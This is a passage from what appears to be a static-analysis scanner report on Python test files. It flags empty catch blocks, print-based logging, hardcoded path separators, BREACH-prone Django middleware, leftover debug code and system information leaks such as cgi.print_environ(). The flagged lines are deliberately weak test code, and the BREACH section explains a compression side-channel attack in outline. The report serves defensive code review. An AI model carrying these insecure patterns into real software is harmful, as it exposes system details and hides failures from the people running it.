[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I

[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Web Application Security Consortium 24 + 2 Path Traversal
[48] Standards Mapping - Web Application Security Consortium Version 2.00 Path Traversal (WASC-33)

Poor Error Handling: Empty Catch Block

Description

Ignoring an exception can cause the program to overlook unexpected states and conditions.

Explanation

Just about every serious attack on a software system begins with the violation of a programmer's assumptions. After the attack, the programmer's assumptions seem flimsy and poorly founded, but before an attack many programmers would defend their assumptions well past the end of their lunch break.

Two dubious assumptions that are easy to spot in code are "this method call can never fail" and "it doesn't matter if this call fails". When a programmer ignores an exception, they implicitly state that they are operating under one of these assumptions.

Example 1: The following code excerpt ignores a rarely-thrown exception from open().

```
try:
    f = open('myfile.txt')
    s = f.readline()
    i = int(s.strip())
except:
    # This will never happen
    pass
```

If a RareException were to ever be thrown, the program would continue to execute as though nothing unusual had occurred. The program records no evidence indicating the special situation, potentially frustrating any later attempt to explain the program's behavior.

Severity

Low

Vulnerabilities

File tests\Poor_Error_Hangling__Empty_Catch_Block.py, Line 4, Pos 0

```
4 except:
```

File tests\Poor_Error_Hangling__Empty_Catch_Block.py, Line 9, Pos 0

```
9 except Exception as e:
```

Recommendations

- If you can do nothing with an exception - at least log the information about it.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 1069
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001312, CCI-001314, CCI-003272
[3] Standards Mapping - FIPS200 AU
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-11 Error Handling
[7] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[8] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 7.4.1 Error Handling
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention, Control Objective B.3.2 - Terminal Software Attack Mitigation
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II

[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II

Poor Logging Practice: Use of a System Output Stream

Description

Using standard output or standard error rather than a dedicated logging facility makes it difficult to monitor the behavior of the program.

Explanation

Example 1: The first Python program that a developer learns to write is the following:

```
print("hello world")
```

While most programmers go on to learn many nuances and subtleties about Python, a surprising number hang on to this first lesson and never give up on writing messages to standard output using print() or sys.stdout.write().

The problem is that writing directly to standard output or standard error is often used as an unstructured form of logging. Structured logging facilities provide features like logging levels, uniform formatting, a logger identifier, timestamps, and, perhaps most critically, the ability to direct the log messages to the right place. When the use of system output streams is jumbled together with the code that uses loggers properly, the result is often a well-kept log that is missing critical information.

Developers widely accept the need for structured logging, but many continue to use system output streams in their "pre-production" development. If the code you are reviewing is past the initial phases of development, use of sys.stdout or sys.stderr may indicate an oversight in the move to a structured logging system.

Severity

Medium

Vulnerabilities

File tests\Poor_Logging_Practice__Use_of_a_System_Output_Stream.py, Line 3, Pos 1

```
3 print(something)
```

File tests\Poor_Logging_Practice__Use_of_a_System_Output_Stream.py, Line 4, Pos 1

```
4 sys.stderr.write(something)
```

File tests\Poor_Logging_Practice__Use_of_a_System_Output_Stream.py, Line 5, Pos 1

```
5 sys.stdout.write(something)
```

File tests\Poor_Logging_Practice__Use_of_a_System_Output_Stream.py, Line 6, Pos 1

```
6 print(something, file=sys.stdout)
```

File tests\Poor_Logging_Practice__Use_of_a_System_Output_Stream.py, Line 7, Pos 1

```
7 print(something, file=sys.stderr)
```

File tests\System_Information_Leak__Internal.py, Line 3, Pos 1

```
3 sys.stderr.write(sys.exc_info())
```

File tests\System_Information_Leak__Internal.py, Line 4, Pos 1

```
4 sys.stdout.write(sys.exc_info())
```

File tests\System_Information_Leak__Internal.py, Line 5, Pos 1

```
5 print(sys.exc_info())
```

Recommendations

- Use a centralized logging mechanism that supports multiple levels of detail. Ensure that all security-related successes and failures can be logged.
- Be sure to set the level of logging appropriately in a production environment. Sufficient data should be logged to enable system administrators to detect attacks, diagnose errors, and recover from attacks. At the same time, logging too much data (CWE-779) can cause the same problems.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 398
[2] Standards Mapping - FIPS200 AU
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[4] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-11 Error Handling
[5] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[6] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5

[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II

Portability Flaw: File Separator

Description

The use of hardcoded file separators causes portability problems.

Explanation

Different operating systems use different characters as file separators. For example, Microsoft Windows systems use "\", while UNIX systems use "/". When applications have to run on different platforms, the use of hardcoded file separators can lead to incorrect execution of application logic and potentially a denial of service.

Example 1: The following code uses a hardcoded file separator to open a file:

```
...
os.open(directoryName + "\\" + fileName);
...
```

Severity

Medium

Vulnerabilities

File tests\Portability_Flaw__File_Separator.py, Line 3, Pos 25

```
3 os.open(directoryName + "\\" + fileName);
```

Recommendations

- Always test your code on any platform on which it is targeted to run on.
- Use os.sep as a separator in a path or os.path.join to join parts of the path

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 474
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310

[3] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[7] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[8] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[9] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002520 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002520 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002520 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002520 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002520 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002520 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002520 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002520 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002520 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002520 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002520 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002520 CAT II

Privacy Violation: BREACH

Description

The application may leak sensitive data contained in HTTP responses transferred over an SSL/TLS-enabled channel.

Explanation

The Browser Reconnaissance and Exfiltration via Adaptive Compression of Hypertext (BREACH) attack is a type of side-channel attack that allows attackers to steal sensitive information contained in HTTP responses transferred over an SSL/TLS-enabled channel. All existing SSL/TLS versions and ciphers are susceptible to this attack. If the following three conditions are met, an attacker may successfully conduct a BREACH attack against the application:

1. The application transmits a secret (for example, an anti-CSRF token) in the response. 2. The application reflects a user input in the same response containing a secret. 3. The web server is configured to use HTTP compression.

The size of a response compressed using gzip is determined by the amount of repetitions observed within its content. Thus when characters are repeated more often, the smaller the response size becomes. This allows an attacker to use the HTTP compression as an oracle which can indicate whether a guess supplied by an attacker to the application through the reflected parameter value is correct or not. If the guessed character matches the corresponding character in the secret, the size of the compressed response is smaller. The attacker may use this process to obtain the entire secret character-by-character through the analysis of the compression ratio for each request.

An attacker may use this technique to extract a secret from the HTTP responses even if the application is configured to serve content over a secure channel.

To evaluate whether the application is vulnerable to the BREACH attack, first review whether the application is configured to enable HTTP compression. If so, for each response containing a secret to be protected, evaluate whether a user input is included inside it.

This issue is reported because the Django application is configured to use CSRF tokens and GZip compression:

```
MIDDLEWARE_CLASSES = (
    ...
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.middleware.gzip.GZipMiddleware',
    ...
)
```

Severity

Medium

Vulnerabilities

File tests\Privacy_Violation__BREACH.py, Line 1, Pos 1

```
1 MIDDLEWARE_CLASSES = (
```

Recommendations

- Double check if your application is vulnerable to BREACH attack

Links

[1] BREACH Advisory (http://breachattack.com/)

[2] Mitre CVE-2013-3587 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3587)

[3] The gzip Home Page (http://www.gzip.org/)

[4] Django Foundation GZip middleware
(https://docs.djangoproject.com/en/dev/ref/middleware/#module-django.middleware.gzip)
[5] Standards Mapping - Common Weakness Enumeration CWE ID 310
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000197, CCI-002418, CCI-002420, CCI-002421, CCI-002422
[7] Standards Mapping - FIPS200 CM, SC
[8] Standards Mapping - General Data Protection Regulation (GDPR) Privacy Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1), SC-8 Transmission Confidentiality and Integrity (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement, SC-8 Transmission Confidentiality and Integrity
[11] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[12] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[13] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[14] Standards Mapping - OWASP Top 10 2013 A9 Using Components with Known Vulnerabilities
[15] Standards Mapping - OWASP Top 10 2017 A9 Using Components with Known Vulnerabilities
[16] Standards Mapping - OWASP Mobile 2014 M3 Insufficient Transport Layer Protection
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 6.2.1 Algorithms
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.1, Requirement 6.5.10
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.4, Requirement 6.5.9
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.2 - Sensitive Data Protection
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.2 - Sensitive Data Protection
[27] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3260.1 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3260 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3260 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3260 CAT II

[31] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3260 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3260 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3260 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)

Python Bad Practices: Leftover Debug Code

Description

Debug code can create unintended entry points in a deployed web application.

Explanation

It is common practice to output the values of variables for debugging or testing purposes with code that is not intended to be shipped or remain active in the deployed application. When this sort of debug code is accidentally left in the application, the application might provide information to an attacker in unintended ways. Not all debug statements leak sensitive or private information. However, the presence of a debug statement often indicates that the surrounding code has been neglected and might be in a state of disrepair.

Severity

Medium

Vulnerabilities

File tests\Python_Bad_Practices__Leftover_Debug_Code.py, Line 4, Pos 1

```
4 logging.debug(something)
```

File tests\Python_Bad_Practices__Leftover_Debug_Code.py, Line 6, Pos 1

```
6 DEBUG = True
```

File tests\Python_Bad_Practices__Leftover_Debug_Code.py, Line 8, Pos 1

```
8 debug = 1
```

Recommendations

- Remove debug code before deploying the application.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 489
[2] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[3] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[4] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.3.2 Unintended Security Disclosure Requirements, 14.2.2 Dependency
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5

[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[13] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II

System Information Leak: External

Description

Revealing system data or debugging information helps an adversary learn about the system and form a plan of attack.

Explanation

An external information leak occurs when system data or debugging information leaves the program to a remote machine via a socket or network connection.

Example 1: The following code prints all the system environment variables as part of the HTTP response:

```
...
import cgi
cgi.print_environ()
...
```

Depending upon the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. For example, with scripting mechanisms it is trivial to redirect output information from "Standard error" or "Standard output" into a file or another program. Alternatively, the system that the program runs on could have a remote logging mechanism such as a "syslog" server that sends the logs to a remote device. During development, you have no way of knowing where this information might end up being displayed.

In some cases, the error message provides the attacker with the precise type of attack to which the system is vulnerable. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In Example 1, the leaked information could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

Severity

High

Vulnerabilities

File tests\System_Information_Leak__External.py, Line 3, Pos 1

```
3 cgi.print_environ()
```

Recommendations

- Do not leave debug statements that could be executed in the source code. Ensure that all debug information is eradicated before releasing the software.
- Production applications should never use methods that generate internal details such as stack traces and error messages unless that information is directly committed to a log that is not viewable by the end user. All error message text should be HTML entity encoded before being written to the log file to protect against potential cross-site scripting attacks against the viewer of the logs

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 215, CWE ID 489, CWE ID 497
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001312, CCI-001314, CCI-002420
[5] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[8] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[9] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.3.4 Sensitive Private Data, 14.3.2 Unintended Security Disclosure Requirements, 14.3.3 Unintended Security Disclosure Requirements, 14.2.2 Dependency
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5

[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[38] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

System Information Leak: Internal

Description

Revealing system data or debugging information could enable an adversary to use system information to plan an attack.

Explanation

An internal information leak occurs when system data or debug information is sent to a local file, console, or screen via printing or logging.

Example 1: The following code writes an exception to the standard output stream:

```
try:
    ...
except:
    print(sys.exc_info()[2])
```

This information is dumped to a console. In some cases, the error message provides the attacker with the precise type of attack to which the system is vulnerable. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In Example 1, the leaked information could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

Severity

Medium

Vulnerabilities

File tests\System_Information_Leak__Internal.py, Line 3, Pos 1

```
3 sys.stderr.write(sys.exc_info())
```

File tests\System_Information_Leak__Internal.py, Line 4, Pos 1

```
4 sys.stdout.write(sys.exc_info())
```

File tests\System_Information_Leak__Internal.py, Line 5, Pos 1

```
5 print(sys.exc_info())
```

Recommendations

- Production applications should never use methods that generate internal details such as stack traces and error messages unless that information is directly committed to a log that is not viewable by the end user. All error message text should be HTML entity encoded before being written to the log file to protect against potential cross-site scripting attacks against the viewer of the logs

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 497
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001312, CCI-002420
[5] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data

[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[8] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[9] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.3.2 Sensitive Private Data, 8.3.4 Sensitive Private Data, 8.3.4 Sensitive Private Data, 14.3.3 Unintended Security Disclosure Requirements
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
